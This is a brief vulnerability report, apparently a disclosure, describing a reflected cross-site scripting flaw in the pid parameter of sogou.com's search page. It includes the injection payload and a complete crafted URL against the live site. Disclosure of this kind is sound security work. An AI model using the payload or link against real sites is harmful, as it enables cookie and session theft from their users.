There is a XSS found on Sogou.com

Severity: XSS
Confidence: Confident
Host: http://sogou.com
Path: /
 
Issue detail:
If you enter the following XSS vector for the search field:
"><video><source onerror=alert(document.cookie)>
 
I will get back the following page:
http://www.sogou.com/sogou?pid=AQxRG&query="><video><source onerror=alert(document.cookie)>
However, this particular results page will not cause any XSS.
 
However, after looking at the page for several minutes, the actual parameter that will cause XSS is actually pid
http://www.sogou.com/sogou?pid=AQxRG"><video><source onerror=alert(document.cookie)>&query="><video><source onerror=alert(document.cookie)>

Using the above link, you will see a XSS like the image below.